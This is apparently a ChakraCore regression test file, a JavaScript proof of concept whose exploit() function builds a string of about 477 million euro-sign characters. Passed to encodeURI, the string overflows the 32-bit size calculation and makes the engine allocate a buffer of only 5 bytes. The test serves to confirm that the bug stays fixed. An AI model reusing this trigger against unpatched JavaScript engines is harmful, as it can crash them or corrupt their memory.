blob: d0bb9ae0797e9b74c6287d25a2d50e229ef71e0b [file] [log] [blame]
//-------------------------------------------------------------------------------------------------------
// Copyright (C) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
//-------------------------------------------------------------------------------------------------------
function get_n_copies_of(ch, n)
{
var powers = new Array();
powers[0] = ch;
for (var i = 1; (1<<i) < n; i++)
{
powers[i] = powers[i-1] + powers[i-1];
}
var out = '';
for (var i = powers.length-1; i >= 0; i--)
{
if ((1 << i) > n)
continue;
out += powers[i];
n -= (1 << i);
}
return out;
}
function exploit()
{
// The choice of character is somewhat important -- we need
// something that expands out to 3 bytes in UTF-8 encoding.
// In this case, U+20AC satisfies that requirement.
var s1 = "\u20ac";
var ss;
try
{
ss = get_n_copies_of(s1, 477218589);
}
catch (e)
{
WScript.Echo("You don't have enough free memory or VA to run this -- you'll need as much as possible.");
return;
}
WScript.Echo("SS length = " + ss.length + "<br/>");
// encodeURI sums (3 * [number of UTF-8 bytes required]) for each character
// Since we use a char with 3 bytes required, that means the encodeURI memory
// allocation is 3 * 3 * 477218589 = 0x100000005.
// This truncates when fit into a ulong to just 5.
WScript.Echo(encodeURI(ss).length);
}
try {
exploit();
}
catch (e)
{
WScript.Echo("Message: " + e.message);
}